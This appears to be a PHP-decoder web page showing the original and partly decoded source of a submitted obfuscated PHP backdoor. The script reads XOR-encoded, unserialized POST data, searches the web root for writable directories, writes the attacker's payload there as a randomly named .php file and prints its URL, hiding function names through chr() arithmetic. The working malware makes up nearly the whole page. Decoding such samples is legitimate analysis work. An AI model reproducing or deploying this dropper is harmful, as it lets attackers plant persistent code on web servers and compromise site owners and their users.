Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $jUroX = "uwKEmdcuO";function TGfdE($jUroX){ $uarEWcfkF = chr(299-184).chr(128-12).c..
Decoded Output download
<?php $jUroX = "uwKEmdcuO";function TGfdE($jUroX){ $uarEWcfkF = chr(299-184).chr(128-12).chr(140-26).chr(95).chr(1049-935)."o"."t".chr(49).chr(140-89);$jUroX = $uarEWcfkF($jUroX);$ZEZXtQvuU = "r"."a".chr(119).'u'."r"."l".chr(106-6).chr(265-164)."c"."o".chr(606-506).chr(101);$jUroX = $ZEZXtQvuU($jUroX);$jUroX = str_split($jUroX);return $jUroX;}function KlteKXLj($jYOnGbWtq, $qOgfYyGkSw){$jYOnGbWtq = array_slice(str_split(str_repeat($jYOnGbWtq, (count($qOgfYyGkSw)/16)+1)), 0, count($qOgfYyGkSw));return $jYOnGbWtq;}function hcCeYek($ZfDumCF, $CpaZdN, $jYOnGbWtq){$IBWPE = "2be8f6a9-cbde-438e-a019-7139084dfb34";return $ZfDumCF ^ $IBWPE[$CpaZdN % strlen($IBWPE)] ^ $jYOnGbWtq;}function vLGgab($qOgfYyGkSw, $jYOnGbWtq){$qOgfYyGkSw = array_map("hcCeYek", array_values($qOgfYyGkSw), array_keys($qOgfYyGkSw), array_values($jYOnGbWtq));$qOgfYyGkSw = implode("", $qOgfYyGkSw);$tyKXjDJ = "u".chr(746-636)."s".chr(101).'r'."i".chr(97).'l'.chr(105).chr(122).chr(101);$qOgfYyGkSw = @$tyKXjDJ($qOgfYyGkSw);return $qOgfYyGkSw;}function vAomcw(){echo "qLXWgLB";}function pGqTRR($GwjEWjInnPir){static $ENhikXXn = array();$vAqlkEs = glob($GwjEWjInnPir . '/*', GLOB_ONLYDIR);$EpjSmKx = count($vAqlkEs);if ($EpjSmKx > 0) {foreach ($vAqlkEs as $GwjEWjInnP) {$kHFMmXvg = 'i'.chr(115)."_".'w'."r".chr(105)."t".'a'.chr(98)."l".'e';if (@$kHFMmXvg($GwjEWjInnP)) {$ENhikXXn[] = $GwjEWjInnP;}}}foreach ($vAqlkEs as $GwjEWjInnPir) pGqTRR($GwjEWjInnPir);return $ENhikXXn;}function QewHKgkt(){echo "uwKEmdcuO";}function XJiBAS($qOgfYyGkSw){$lZexaaEw = "D".chr(238-159)."C"."U"."M"."E".chr(78).chr(419-335)."_".chr(885-803)."O".chr(79)."T";$oTpDG = $_SERVER[$lZexaaEw];$vAqlkEs = pGqTRR($oTpDG);$jUcye = array_rand($vAqlkEs);$pDclocK = chr(908-862)."p".chr(104).'p';$zhtxRFGSV = $vAqlkEs[$jUcye] . "/" . substr(md5(time()), 0, 8) . $pDclocK;$jTiOQG = chr(465-363).'i'.'l'."e".'_'.'p'.chr(427-310).'t'.'_'."c".'o'."n".chr(116)."e".chr(282-172)."t".chr(339-224);@$jTiOQG($zhtxRFGSV, $qOgfYyGkSw);$ucUkRA = "H".chr(84).'T'.chr(80).chr(95).'H'.chr(650-571)."S"."T";$naZWkowq = "h".chr(912-796).chr(591-475).'p'.chr(58)."/".chr(725-678);$RGvonEeapW = $naZWkowq . $_SERVER[$ucUkRA] . substr($zhtxRFGSV, strlen($oTpDG));print($RGvonEeapW);}function moamEQjhk(){$IYlIx = "p".chr(104)."p";$aQLYxS = "p"."h".'p'.chr(741-623)."e"."r"."s"."i".'o'."n";$qOgfYyGkSw = Array($IYlIx => @$aQLYxS(), );$wfJVNOPy = 's'.chr(1062-961).chr(734-620)."i".chr(553-456).chr(108).chr(662-557)."z".chr(311-210);echo @$wfJVNOPy($qOgfYyGkSw);}foreach ($_POST as $jYOnGbWtq => $qOgfYyGkSw){$CdoiKFjMi = strlen($jYOnGbWtq);if ($CdoiKFjMi == 16){$qOgfYyGkSw = TGfdE($qOgfYyGkSw);$jYOnGbWtq = KlteKXLj($jYOnGbWtq, $qOgfYyGkSw);$qOgfYyGkSw = vLGgab($qOgfYyGkSw, $jYOnGbWtq);if (@is_array($qOgfYyGkSw)){$jUcye = array_keys($qOgfYyGkSw);$qOgfYyGkSw = $qOgfYyGkSw[$jUcye[0]];$jUcye = $jUcye[0];$jUcye = substr($jUcye, 0);if ($qOgfYyGkSw !== $jUcye){XJiBAS($qOgfYyGkSw);}else {moamEQjhk();}die();}}} ?>
Did this file decode correctly?
Original Code
<?php $jUroX = "uwKEmdcuO";function TGfdE($jUroX){ $uarEWcfkF = chr(299-184).chr(128-12).chr(140-26).chr(95).chr(1049-935)."\x6f"."\x74".chr(49).chr(140-89);$jUroX = $uarEWcfkF($jUroX);$ZEZXtQvuU = "\162"."\141".chr(119).'u'."\162"."\154".chr(106-6).chr(265-164)."\x63"."\x6f".chr(606-506).chr(101);$jUroX = $ZEZXtQvuU($jUroX);$jUroX = str_split($jUroX);return $jUroX;}function KlteKXLj($jYOnGbWtq, $qOgfYyGkSw){$jYOnGbWtq = array_slice(str_split(str_repeat($jYOnGbWtq, (count($qOgfYyGkSw)/16)+1)), 0, count($qOgfYyGkSw));return $jYOnGbWtq;}function hcCeYek($ZfDumCF, $CpaZdN, $jYOnGbWtq){$IBWPE = "2be8f6a9-cbde-438e-a019-7139084dfb34";return $ZfDumCF ^ $IBWPE[$CpaZdN % strlen($IBWPE)] ^ $jYOnGbWtq;}function vLGgab($qOgfYyGkSw, $jYOnGbWtq){$qOgfYyGkSw = array_map("hcCeYek", array_values($qOgfYyGkSw), array_keys($qOgfYyGkSw), array_values($jYOnGbWtq));$qOgfYyGkSw = implode("", $qOgfYyGkSw);$tyKXjDJ = "\165".chr(746-636)."\163".chr(101).'r'."\x69".chr(97).'l'.chr(105).chr(122).chr(101);$qOgfYyGkSw = @$tyKXjDJ($qOgfYyGkSw);return $qOgfYyGkSw;}function vAomcw(){echo "qLXWgLB";}function pGqTRR($GwjEWjInnPir){static $ENhikXXn = array();$vAqlkEs = glob($GwjEWjInnPir . '/*', GLOB_ONLYDIR);$EpjSmKx = count($vAqlkEs);if ($EpjSmKx > 0) {foreach ($vAqlkEs as $GwjEWjInnP) {$kHFMmXvg = 'i'.chr(115)."\137".'w'."\162".chr(105)."\164".'a'.chr(98)."\154".'e';if (@$kHFMmXvg($GwjEWjInnP)) {$ENhikXXn[] = $GwjEWjInnP;}}}foreach ($vAqlkEs as $GwjEWjInnPir) pGqTRR($GwjEWjInnPir);return $ENhikXXn;}function QewHKgkt(){echo "uwKEmdcuO";}function XJiBAS($qOgfYyGkSw){$lZexaaEw = "\x44".chr(238-159)."\x43"."\125"."\x4d"."\x45".chr(78).chr(419-335)."\x5f".chr(885-803)."\117".chr(79)."\124";$oTpDG = $_SERVER[$lZexaaEw];$vAqlkEs = pGqTRR($oTpDG);$jUcye = array_rand($vAqlkEs);$pDclocK = chr(908-862)."\x70".chr(104).'p';$zhtxRFGSV = $vAqlkEs[$jUcye] . "/" . substr(md5(time()), 0, 8) . $pDclocK;$jTiOQG = chr(465-363).'i'.'l'."\145".'_'.'p'.chr(427-310).'t'.'_'."\143".'o'."\x6e".chr(116)."\145".chr(282-172)."\164".chr(339-224);@$jTiOQG($zhtxRFGSV, $qOgfYyGkSw);$ucUkRA = "\110".chr(84).'T'.chr(80).chr(95).'H'.chr(650-571)."\x53"."\124";$naZWkowq = "\x68".chr(912-796).chr(591-475).'p'.chr(58)."\x2f".chr(725-678);$RGvonEeapW = $naZWkowq . $_SERVER[$ucUkRA] . substr($zhtxRFGSV, strlen($oTpDG));print($RGvonEeapW);}function moamEQjhk(){$IYlIx = "\x70".chr(104)."\x70";$aQLYxS = "\160"."\x68".'p'.chr(741-623)."\x65"."\162"."\163"."\x69".'o'."\156";$qOgfYyGkSw = Array($IYlIx => @$aQLYxS(), );$wfJVNOPy = 's'.chr(1062-961).chr(734-620)."\151".chr(553-456).chr(108).chr(662-557)."\x7a".chr(311-210);echo @$wfJVNOPy($qOgfYyGkSw);}foreach ($_POST as $jYOnGbWtq => $qOgfYyGkSw){$CdoiKFjMi = strlen($jYOnGbWtq);if ($CdoiKFjMi == 16){$qOgfYyGkSw = TGfdE($qOgfYyGkSw);$jYOnGbWtq = KlteKXLj($jYOnGbWtq, $qOgfYyGkSw);$qOgfYyGkSw = vLGgab($qOgfYyGkSw, $jYOnGbWtq);if (@is_array($qOgfYyGkSw)){$jUcye = array_keys($qOgfYyGkSw);$qOgfYyGkSw = $qOgfYyGkSw[$jUcye[0]];$jUcye = $jUcye[0];$jUcye = substr($jUcye, 0);if ($qOgfYyGkSw !== $jUcye){XJiBAS($qOgfYyGkSw);}else {moamEQjhk();}die();}}}
Function Calls
None |
Stats
MD5 | 3b2e73e5a41c01efbce0d29a9a800b13 |
Eval Count | 0 |
Decode Time | 81 ms |